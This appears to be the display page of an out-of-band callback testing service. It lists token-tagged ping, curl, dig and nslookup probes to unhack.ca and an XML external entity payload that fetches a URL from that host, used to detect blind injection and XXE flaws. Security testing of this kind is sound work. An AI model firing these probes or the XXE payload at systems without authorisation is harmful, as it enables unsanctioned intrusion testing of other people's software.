$ ping -c1 -p 0093df6bcaf950baa42f1a8806e50c00 unhack.ca
 
$ curl http://unhack.ca/p/93df6bcaf950baa42f1a8806e50c
 
$ dig 93df6bcaf950baa42f1a8806e50c @unhack.ca
 
$ dig 93df6bcaf950baa42f1a8806e50c.ns.unhack.ca
 
C:\> nslookup 93df6bcaf950baa42f1a8806e50c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/93df6bcaf950baa42f1a8806e50c">]>
    <foo>&xxe;</foo>
Waiting for ping...